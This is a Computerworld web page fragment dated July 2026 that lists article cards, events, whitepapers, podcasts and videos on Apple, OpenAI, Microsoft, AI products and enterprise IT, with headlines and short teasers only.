			<div class="insider-image"><div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/07/4197437-0-98299000-1784131210-thinkstockphotos-493608259-100632547-orig.jpg?quality=50&amp;strip=all&amp;w=697" data-id="idg_render_hero_index_two_three_break" sizes="(min-resolution: 3dppx) and (max-width: 600px) 600px,
            (min-resolution: 3dppx) and (max-width: 1200px) 900px,

            (min-resolution: 2dppx) and (max-width: 600px) 600px,
            (min-resolution: 2dppx) and (max-width: 1200px) 900px,

            (min-resolution: 1dppx) and (max-width: 600px) 600px,
            (min-resolution: 1dppx) and (max-width: 2000px) 1024px" alt="Image"></div></div></div><h3 class="card__title">Apple’s OpenAI lawsuit: The lunacy of trying to limit what ex-employees can tell future employers</h3><div class="card__info"><span>By Evan Schuman</span></div><div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-15T15:59:35+00:00">Jul 15, 2026</span></span><span>5 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Apple</span></span><span class="card__tag"><span class="tag">Government</span></span><span class="card__tag"><span class="tag">Laws and Regulations</span></span></div></a></div><div class="col-12 col-7@md col-4@lg latest-content__card-main"><span class="nativo-loading"></span><a class="card nativo" href="https://www.computerworld.com/article/4197338/what-problems-would-an-ai-speaker-from-openai-actually-solve.html" aria-label="Go to content"><div class="card__header"><span class="card__content-type">opinion</span></div><div class="card__image">
			<div class="insider-image"><div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/07/4197338-0-98391100-1784130807-Apple-HomePod-mini-color-lineup.jpg?quality=50&amp;strip=all&amp;w=697" data-id="idg_render_hero_index_two_three_break" sizes="(min-resolution: 3dppx) and (max-width: 600px) 600px,
            (min-resolution: 3dppx) and (max-width: 1200px) 900px,

            (min-resolution: 2dppx) and (max-width: 600px) 600px,
            (min-resolution: 2dppx) and (max-width: 1200px) 900px,

            (min-resolution: 1dppx) and (max-width: 600px) 600px,
            (min-resolution: 1dppx) and (max-width: 2000px) 1024px" alt="Image"></div></div></div><h3 class="card__title">What problems would an AI speaker from OpenAI actually solve?</h3><div class="card__info"><span>By Jonny Evans</span></div><div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-15T15:52:45+00:00">Jul 15, 2026</span></span><span>5 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Apple</span></span><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Vendors and Providers</span></span></div></a></div></div></div><div class="col-12 col-5@md col-4@lg latest-content__content-secondary"><div class="latest-content__card-secondary"><a class="card " href="https://www.computerworld.com/article/4192438/how-to-unionize-your-tech-workplace.html" aria-label="Go to content"><div class="card__header"> <span class="card__content-type">feature</span></div><h3 class="card__title">How to unionize your tech workplace</h3><div class="card__info"><span>By Robert Mitchell</span></div>
		<div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-15T11:00:00+00:00">Jul 15, 2026</span></span><span>18 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Careers</span></span><span class="card__tag"><span class="tag">IT Jobs</span></span><span class="card__tag"><span class="tag">Technology Industry</span></span></div></a>
		</div><div class="latest-content__card-secondary"><span class="nativo-loading"></span><a class="card nativo" href="https://www.computerworld.com/article/1613762/android-widgets.html" aria-label="Go to content"><div class="card__header"> <span class="card__content-type">tip</span></div><h3 class="card__title">5 wild ways to make Android widgets more useful</h3><div class="card__info"><span>By JR Raphael</span></div>
		<div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-15T09:45:00+00:00">Jul 15, 2026</span></span><span>12 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Android</span></span><span class="card__tag"><span class="tag">Mobile Apps</span></span><span class="card__tag"><span class="tag">Smartphones</span></span></div></a>
		</div><div class="latest-content__card-secondary"><a class="card " href="https://www.computerworld.com/article/4197029/microsoft-is-forcing-an-enterprise-transition-to-passkeys.html" aria-label="Go to content"><div class="card__header"> <span class="card__content-type">news</span></div><h3 class="card__title">Microsoft is forcing an enterprise transition to passkeys</h3><div class="card__info"><span>By Taryn Plumb</span></div>
		<div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-15T02:04:06+00:00">Jul 14, 2026</span></span><span>6 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Access Control</span></span><span class="card__tag"><span class="tag">Authentication</span></span><span class="card__tag"><span class="tag">Identity and Access Management</span></span></div></a>
		</div><div class="latest-content__card-secondary"><a class="card " href="https://www.computerworld.com/article/4196704/siri-ai-steals-the-show-as-the-ios-27-public-beta-lands.html" aria-label="Go to content"><div class="card__header"> <span class="card__content-type">news</span></div><h3 class="card__title">Siri AI steals the show as the iOS 27 public beta lands</h3><div class="card__info"><span>By Jonny Evans</span></div>
		<div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-14T15:47:35+00:00">Jul 14, 2026</span></span><span>5 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Apple</span></span><span class="card__tag"><span class="tag">Operating Systems</span></span><span class="card__tag"><span class="tag">iOS</span></span></div></a>
		</div><div class="latest-content__card-secondary"><a class="card " href="https://www.computerworld.com/article/4196309/with-its-latest-layoffs-microsoft-goes-all-in-on-ai.html" aria-label="Go to content"><div class="card__header"> <span class="card__content-type">opinion</span></div><h3 class="card__title">With its latest layoffs, Microsoft goes all in on AI</h3><div class="card__info"><span>By Preston Gralla</span></div>
		<div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-14T11:00:00+00:00">Jul 14, 2026</span></span><span>5 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">IT Strategy</span></span><span class="card__tag"><span class="tag">Microsoft</span></span></div></a>
		</div><div class="latest-content__card-secondary"><a class="card " href="https://www.computerworld.com/article/4196652/forg365-industrializes-microsoft-365-phishing-with-ai-generated-lures.html" aria-label="Go to content"><div class="card__header"> <span class="card__content-type">news</span></div><h3 class="card__title">Forg365 industrializes Microsoft 365 phishing with AI-generated lures</h3><div class="card__info"><span>By Prasanth Aby Thomas</span></div>
		<div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-14T09:51:16+00:00">Jul 14, 2026</span></span><span>4 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Microsoft 365</span></span><span class="card__tag"><span class="tag">Office Suites</span></span><span class="card__tag"><span class="tag">Productivity Software</span></span></div></a>
		</div></div></div></div></section><div class="advert">
						<div class="container advert__container">
							<div class="advert__content">
								<div class="ad page-ad has-ad-prefix ad-article" data-ad-template="article" data-ofp="false"></div>
							</div>
						</div>
					</div><div class="content-listing-articles"><div class="container"><h2 class="content-listing-articles__title">Articles</h2><div class="content-listing-articles__container content-listing-articles__container--collapsed" data-collapse-articles="6" data-content-listing-articles><div class="content-listing-articles__row "><a class="grid content-row-article" href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news</span></div><h3 class="card__title">OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’</h3><p class="card__description">Analysts and consultants applaud the move as potentially delivering the development consistency that the current offerings lack, but some worry that treating the company as neutral is a mistake.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Evan Schuman</span></div> <div class="card__info card__info--light"><span>Jul 13, 2026 </span><span>8 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">Nonprofits</span></span></div></div></div></a></div><div class="content-listing-articles__row "><a class="grid content-row-article" href="https://www.computerworld.com/article/4196262/ai-is-killing-low-cost-smartphones.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news analysis</span></div><h3 class="card__title">AI is killing low cost smartphones</h3><p class="card__description">Data from Omdia and Counterpoint shows that while Apple and Samsung thrive, the rest of the industry takes a dive</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Jonny Evans</span></div> <div class="card__info card__info--light"><span>Jul 13, 2026 </span><span>5 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Apple</span></span><span class="card__tag"><span class="tag">Mobile Phones</span></span><span class="card__tag"><span class="tag">Smartphones</span></span></div></div></div></a></div><div class="content-listing-articles__row "><a class="grid content-row-article" href="https://www.computerworld.com/article/4196220/meta-pulls-instagram-ai-feature-amid-privacy-concerns.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news</span></div><h3 class="card__title">Meta pulls Instagram AI feature amid privacy concerns</h3><p class="card__description">By specifying a public account, users could allow the AI ​​model to use the person’s images as a reference without the account holder being notified.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Viktor Eriksson</span></div> <div class="card__info card__info--light"><span>Jul 13, 2026 </span><span>1 min</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">Instagram</span></span></div></div></div></a></div><div class="content-listing-articles__row "><a class="grid content-row-article" href="https://www.computerworld.com/article/4195176/qa-how-google-plans-to-reinvent-the-spreadsheet-with-ai.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">feature</span></div><h3 class="card__title">Q&amp;A: How Google plans to reinvent the spreadsheet with AI</h3><p class="card__description">Soon, Google wants to see AI doing the spreadsheet busywork, says Eric Birnbaum, director of product management for Google Sheets.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Matthew Finnegan</span></div> <div class="card__info card__info--light"><span>Jul 13, 2026 </span><span>10 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">Google Sheets</span></span><span class="card__tag"><span class="tag">Google Workspace</span></span></div></div></div></a></div><div class="content-listing-articles__row "><a class="grid content-row-article" href="https://www.computerworld.com/article/4194931/physical-ai-will-see-the-fusion-of-robotics-and-ai-transform-the-world.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">brandpost</span><span class="card__sponsor-text">Sponsored by Tether</span></div><h3 class="card__title">Physical AI will see the fusion of robotics and AI transform the world</h3><p class="card__description"></p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By tether</span></div> <div class="card__info card__info--light"><span>Jul 9, 2026 </span><span>6 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span></div></div></div></a></div><div class="content-listing-articles__row "><a class="grid content-row-article" href="https://www.computerworld.com/article/4195828/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news analysis</span></div><h3 class="card__title">‘Rotten to its core’ — Apple files an explosive lawsuit against OpenAI</h3><p class="card__description">Apple accuses OpenAI and former Apple Vice President Tang Tan of extensive coordinated data theft and asks whether OpenAI’s hardware plans are based around exfiltrated Apple info.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Jonny Evans</span></div> <div class="card__info card__info--light"><span>Jul 11, 2026 </span><span>6 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Apple</span></span><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span></div></div></div></a></div><div class="content-listing-articles__row "><a class="grid content-row-article" href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">opinion</span></div><h3 class="card__title">Apple is prepping for life after the AI gold rush</h3><p class="card__description">The company's interest in compression of AI models is the right approach.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Jonny Evans</span></div> <div class="card__info card__info--light"><span>Jul 11, 2026 </span><span>6 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Apple</span></span><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span></div></div></div></a></div><div class="content-listing-articles__row content-listing-articles__row--hide"><a class="grid content-row-article" href="https://www.computerworld.com/article/4195678/microsoft-exchange-server-on-prem-gets-a-little-harder-to-use.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news</span></div><h3 class="card__title">Microsoft Exchange Server on prem gets a little harder to use</h3><p class="card__description">The lightweight web client is going away, placing more demands on systems still clinging to Microsoft’s on-prem email system.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Maxwell Cooter</span></div> <div class="card__info card__info--light"><span>Jul 10, 2026 </span><span>2 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Email Clients</span></span><span class="card__tag"><span class="tag">Microsoft Exchange</span></span><span class="card__tag"><span class="tag">Microsoft Outlook</span></span></div></div></div></a></div><div class="content-listing-articles__row content-listing-articles__row--hide"><a class="grid content-row-article" href="https://www.computerworld.com/article/4195636/mistral-joins-rush-to-build-physical-ai.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news</span></div><h3 class="card__title">Mistral joins rush to build physical AI</h3><p class="card__description">Its Robostral Navigate AI model needs input from just one color camera, doing without Lidar, depth sensors, or multiple viewpoints.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Maxwell Cooter</span></div> <div class="card__info card__info--light"><span>Jul 10, 2026 </span><span>2 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Robotics</span></span></div></div></div></a></div><div class="content-listing-articles__row content-listing-articles__row--hide"><a class="grid content-row-article" href="https://www.computerworld.com/article/4195628/apple-will-buy-more-us-made-components-from-broadcom.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news</span></div><h3 class="card__title">Apple will buy more US-made components from Broadcom</h3><p class="card__description">Chips and thin-film bulk acoustic resonator (FBAR) filters are on the menu.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Maxwell Cooter</span></div> <div class="card__info card__info--light"><span>Jul 10, 2026 </span><span>2 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Apple</span></span><span class="card__tag"><span class="tag">Networking</span></span><span class="card__tag"><span class="tag">Wi-Fi</span></span></div></div></div></a></div><div class="content-listing-articles__row content-listing-articles__row--hide"><a class="grid content-row-article" href="https://www.computerworld.com/article/4195528/meta-launches-low-cost-muse-spark-1-1-as-enterprise-ai-spending-comes-under-scrutiny-2.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news</span></div><h3 class="card__title">Meta launches low-cost Muse Spark 1.1 as enterprise AI spending comes under scrutiny</h3><p class="card__description">Meta says the model delivers competitive performance against OpenAI, Anthropic, and Google offerings while costing a fraction as much to run.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Anirban Ghoshal</span></div> <div class="card__info card__info--light"><span>Jul 10, 2026 </span><span>5 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span></div></div></div></a></div><div class="content-listing-articles__row content-listing-articles__row--hide"><a class="grid content-row-article" href="https://www.computerworld.com/article/1614899/android-contacts-management-ultimate-guide.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">how-to</span></div><h3 class="card__title">The ultimate guide to Android contacts management</h3><p class="card__description">Your Android phone's contacts are much more than just a glorified Rolodex. Ready for an unexpected productivity upgrade? </p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By JR Raphael</span></div> <div class="card__info card__info--light"><span>Jul 10, 2026 </span><span>16 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Android</span></span><span class="card__tag"><span class="tag">Google</span></span><span class="card__tag"><span class="tag">Productivity Software</span></span></div></div></div></a></div><div class="content-listing-articles__row content-listing-articles__row--hide"><a class="grid content-row-article" href="https://www.computerworld.com/article/4195494/openai-launches-chatgpt-work-as-it-broadens-gpt-5-6-rollout-2.html" aria-label="Go to content"><div class="col-12 col-7@md content-row-article__main"><div class="card card--lg"><div class="card__header"><span class="card__content-type">news</span></div><h3 class="card__title">OpenAI launches ChatGPT Work as it broadens GPT-5.6 rollout</h3><p class="card__description">The enterprise AI agent combines ChatGPT, Codex, and GPT-5.6 to automate workplace tasks as OpenAI broadens rollout of its latest frontier models.</p></div></div><div class="col-12 col-4@md col-start-9@md content-row-article__secondary"><div class="card card--lg"><div class="card__info"><span>By Gyana Swain</span></div> <div class="card__info card__info--light"><span>Jul 10, 2026 </span><span>5 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">Productivity Software</span></span></div></div></div></a></div></div><div class="grid content-listing-articles__button-wrapper">
			<div class="col-6 col-4@md col-start-5@md"><div class="content-listing-articles__button-show">
					<button class="button button--tertiary" type="button" data-toggle="expand">
						<span>Show more</span>
						<span>
							<svg class="icon icon--sm" viewbox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
								<use xlink:href="#icon-chevron-down"></use>
							</svg>
						</span>
					</button>
				</div>
				<div class="content-listing-articles__button-show content-listing-articles__button-show--hide">
					<button class="button button--tertiary" type="button" data-toggle="collapse">
						<span>Show less</span>
						<span>
							<svg class="icon icon--sm" viewbox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
								<use xlink:href="#icon-chevron-up"></use>
							</svg>
						</span>
					</button>
				</div></div><div class="col-6 col-4@md content-listing-articles__button-view-all">
						<a class="button" href="https://www.computerworld.com/artificial-intelligence/feed/page/2/" target="_blank"> View all </a></div></div></div></div><section class="suggested-content-upcoming-events"><div class="container">
				<h2 class="suggested-content-upcoming-events__title">Upcoming Events</h2><a class="grid suggested-content-upcoming-events__item" href="https://event.foundryco.com/cio-100-uk/" aria-label="Go to content"><div class="col-12 col-3@md suggested-content-upcoming-events__date-label dd"><span class="date-label">Sep/24</span></div><div class="col-12 col-4@md col-5@xl suggested-content-upcoming-events__image"><div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/03/4141846-0-37933000-1772809522-CIO-Summit-2025_17.jpg?quality=50&amp;strip=all&amp;w=1045" alt="Image"></div></div>
			<div class="col-12 col-5@md col-4@xl suggested-content-upcoming-events__card">
				<div class="card card--xl">
					<div class="card__header"><span class="card__content-type">conference</span><span class="card__external-link-icon" data-url="https://event.foundryco.com/cio-100-uk/"><svg class="icon icon--sm" viewbox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <use xlink:href="#icon-arrow-up-right-from-square"></use></svg></span></div><h3 class="card__title">CIO 100 Awards &amp; Conference UK</h3><div class="card__info card__info--light"><span>24 Sep 2026</span><span>London, UK</span></div>
		<div class="card__tags"><span class="card__tag"><span class="tag">Microsoft 365</span></span></div></div>
			</div>
		</a><a class="grid suggested-content-upcoming-events__item" href="https://event.foundryco.com/cso-awards-conference-uk/" aria-label="Go to content"><div class="col-12 col-3@md suggested-content-upcoming-events__date-label dd"><span class="date-label">Nov/26</span></div><div class="col-12 col-4@md col-5@xl suggested-content-upcoming-events__image"><div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/06/4141741-0-97812100-1780312469-60CB82BE-5D6E-40E0-8E5E-0151C8C46E7F.jpg?quality=50&amp;strip=all&amp;w=929" alt="Image"></div></div>
			<div class="col-12 col-5@md col-4@xl suggested-content-upcoming-events__card">
				<div class="card card--xl">
					<div class="card__header"><span class="card__content-type">conference</span><span class="card__external-link-icon" data-url="https://event.foundryco.com/cso-awards-conference-uk/"><svg class="icon icon--sm" viewbox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <use xlink:href="#icon-arrow-up-right-from-square"></use></svg></span></div><h3 class="card__title">CSO Awards &amp; Conference UK</h3><div class="card__info card__info--light"><span>26 Nov 2026</span><span>London, UK</span></div>
		<div class="card__tags"><span class="card__tag"><span class="tag">Cyberattacks</span></span></div></div>
			</div>
		</a></div><div class="suggested-content-upcoming-events__button-container container">
						<a class="button" href="https://www.computerworld.com/events/"> View all events</a>
					</div>
				
			</section><div class="advert">
						<div class="container advert__container">
							<div class="advert__content">
								<div class="ad page-ad has-ad-prefix ad-article" data-ad-template="article" data-ofp="false"></div>
							</div>
						</div>
					</div><section class="related-content-resources">
				<div class="container">
				<h2 class="related-content-resources__title">Resources</h2><div class="grid related-content-resources__content"><div class="col-12 col-7@md col-8@lg grid grid--cols-7@md grid--cols-8@lg related-content-resources__main-content">
			<div class="col-12 col-7@md col-6@lg">
				<a class="card card--xxl" href="https://us.resources.computerworld.com/resources/accelerate-your-cloud-migration-with-atlassian-fastshift-6?utm_source=rss-feed&amp;utm_medium=rss&amp;utm_campaign=feed" rel="noreferrer" aria-label="Go to content">
					<div class="card__header">
						<span class="card__content-type">whitepaper</span>
					</div>
					<h3 class="card__title">Accelerate your cloud migration with Atlassian FastShift</h3>
					<p class="card__description"></p><p>Turn an Atlassian cloud migration into a faster, more predictable transformation. In this session, you’ll walk through the FastShift playbook.</p>
<p>The post <a rel="nofollow" href="https://com.wp.idg.zone/resources/accelerate-your-cloud-migration-with-atlassian-fastshift-6/">Accelerate your cloud migration with Atlassian FastShift</a> appeared first on <a rel="nofollow" href="https://com.wp.idg.zone/">Whitepaper Repository –</a>.</p>

					<div class="card__info">
						<span>
						By 
						Atlassian
						</span>
					</div>
					<div class="card__info card__info--light"><span>14 Jul 2026</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Business Operations</span></span><span class="card__tag"><span class="tag">Cloud</span></span><span class="card__tag"><span class="tag">Digital Transformation</span></span></div></a>
			</div>
			<div class="col-2 related-content-resources__featured-image-wrapper">
				<img width="400px" loading="lazy" class="related-content-resources__image-featured" src="https://us.resources.computerworld.com/wp-content/uploads/2026/07/atl_logo1784040704.83.png" alt="Image">
			</div>
		</div><div class="col-12 col-5@md col-4@lg col-start-9@lg related-content-resources__cards"><div class="grid grid--cols-5@md grid--cols-4@lg related-content-resources__card-wrapper">
				<div class="col-12 col-5@md col-3@lg">
					<a class="card card--sm" href="https://us.resources.computerworld.com/resources/warum-sich-teams-fur-cloud-entscheiden-9?utm_source=rss-feed&amp;utm_medium=rss&amp;utm_campaign=feed" rel="noreferrer" aria-label="Go to content">
						<div class="card__header">
							<span class="card__content-type">whitepaper</span>
						</div>
						<h3 class="card__title">Warum sich Teams für Cloud entscheiden</h3>
						<div class="card__info">
							<span>
							By 
							Atlassian
							</span>
						</div>
						<div class="card__info card__info--light"><span>14 Jul 2026</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Business Operations</span></span><span class="card__tag"><span class="tag">Cloud</span></span><span class="card__tag"><span class="tag">Digital Transformation</span></span></div></a>
				</div>
				<div class="col-1">
					<img width="400px" loading="lazy" class="related-content-resources__image-side" src="https://us.resources.computerworld.com/wp-content/uploads/2026/07/atl_logo1784040716.4772.png" alt="Image">
				</div>
			</div><div class="grid grid--cols-5@md grid--cols-4@lg related-content-resources__card-wrapper">
				<div class="col-12 col-5@md col-3@lg">
					<a class="card card--sm" href="https://us.resources.computerworld.com/resources/pourquoi-les-equipes-optent-pour-la-solution-cloud-3?utm_source=rss-feed&amp;utm_medium=rss&amp;utm_campaign=feed" rel="noreferrer" aria-label="Go to content">
						<div class="card__header">
							<span class="card__content-type">whitepaper</span>
						</div>
						<h3 class="card__title">Pourquoi les équipes optent pour la solution cloud</h3>
						<div class="card__info">
							<span>
							By 
							Atlassian
							</span>
						</div>
						<div class="card__info card__info--light"><span>14 Jul 2026</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Business Operations</span></span><span class="card__tag"><span class="tag">Cloud</span></span><span class="card__tag"><span class="tag">Digital Transformation</span></span></div></a>
				</div>
				<div class="col-1">
					<img width="400px" loading="lazy" class="related-content-resources__image-side" src="https://us.resources.computerworld.com/wp-content/uploads/2026/07/atl_logo1784040728.9116.png" alt="Image">
				</div>
			</div></div>
		</div><div class="related-content-resources__button-container">
			<a class="button" target="_blank" href="https://us.resources.computerworld.com/"> View all </a>
		</div></div>
			</section><div class="advert">
						<div class="container advert__container">
							<div class="advert__content">
								<div class="ad page-ad has-ad-prefix ad-article" data-ad-template="article" data-ofp="false"></div>
							</div>
						</div>
					</div><section class="related-content-podcasts"><div class="container"><h2 class="related-content-podcasts__title">Podcasts</h2><div class="grid related-content-podcasts__content"><a class="col-12 col-7@md col-8@lg grid grid--cols-7@md grid--cols-8@lg related-content-podcasts__main-content" href="https://www.computerworld.com/podcasts/2-minute-tech-briefing/" aria-label="Go to content"><div class="col-12 col-7@md col-2@lg related-content-podcasts__image">
			<div class="image image--aspect-ratio-1-1">
				<img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2025/11/100065453-0-01782600-1762961273-2-min-tech-briefing-logo-16x9-4.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Image">
			</div>
		</div><div class="col-12 col-7@md col-6@lg"><div class="card card--xl"><div class="card__header"><span class="card__content-type"> podcasts</span></div><h3 class="card__title">2-Minute Tech Briefing</h3><p class="card__description">Catch up on the latest enterprise IT news in a fast-paced video briefing with host Arnold Davick. Listen to the show on Computerworld, YouTube, Apple and Spotify.</p><div class="card__info card__info--light"><span>81  episodes</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Emerging Technology</span></span></div></div></div></a><ul class="col-12 col-5@md col-4@lg col-start-9@lg related-content-podcasts__cards"><li class="related-content-podcasts__card"><a href="https://www.computerworld.com/podcast/4176380/microsoft-copilot-growth-claudebleed-risk-linkedin-gdpr-complaint-ep-84.html" aria-label="Go to episode"><div class="related-content-podcasts__episode-label">
			<span class="episode-label">
				<span> Ep. 81</span>
				<span>
				<svg class="icon" viewbox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
					<use xlink:href="#icon-podcast"></use>
				</svg>
			</span>
			</span>
		</div><div class="card card--xs"><h3 class="card__title">Microsoft Copilot Growth, ClaudeBleed Risk, LinkedIn GDPR Complaint | Ep. 84</h3><div class="card__info">
				<span>By Arnold Davick</span>
			</div><div class="card__info card__info--light">
			<span>Mar 20, 2024</span><span>2 mins</span>
		</div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span></div></div></a></li><li class="related-content-podcasts__card"><a href="https://www.computerworld.com/podcast/4176367/chrome-gemini-ai-agents-cisa-infrastructure-cyber-resilience-ep-83.html" aria-label="Go to episode"><div class="related-content-podcasts__episode-label">
			<span class="episode-label">
				<span> Ep. 80</span>
				<span>
				<svg class="icon" viewbox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
					<use xlink:href="#icon-podcast"></use>
				</svg>
			</span>
			</span>
		</div><div class="card card--xs"><h3 class="card__title">Chrome Gemini, AI Agents, CISA Infrastructure Cyber Resilience | Ep. 83</h3><div class="card__info">
				<span>By Arnold Davick</span>
			</div><div class="card__info card__info--light">
			<span>Mar 20, 2024</span><span>2 mins</span>
		</div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span></div></div></a></li></ul></div></div></section><section class="related-content-video"><div class="container"><h2 class="related-content-video__title">Video on demand</h2><div class="grid related-content-video__main">        <div class="col-12 col-4@lg related-content-video__main-card card card--xl">
            <div class="card__header"><span class="card__content-type">video</span></div>            
            <a class="card card--xl" href="https://www.computerworld.com/video/4196734/why-ai-agents-fail-when-enterprises-dont-define-the-job.html" aria-label="Go to content">
                <h3 class="card__title">Why AI agents fail when enterprises don’t define the job</h3>            </a>
                            <p class="card__description mt-3">Enterprises are investing heavily in AI agents, but many projects fail when companies skip clear goals, guardrails, governance and success metrics.</p>
            
                         <div class="card__info card__info--light"><span>Jul 14, 2026 </span><span>33 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">IT Governance</span></span></div>        </div>
                <div class="col-12 col-8@lg related-content-video__video">
                            <div class="youtube-video">
                    &gt;
					
				</div>                </div>
                    </div>
        </div><div class="related-content-video__cards-container">
                        <div class="related-content-video__cards-wrap">
                            <ul class="grid related-content-video__cards">        <li class="col-4@md related-content-video__card">
            <a class="related-content-video__card-link" href="https://www.computerworld.com/video/4193952/why-enterprise-ai-projects-stall-before-delivering-real-value.html" aria-label="Go to content">
                <div class="related-content-video__card-image">
                    <div class="image">
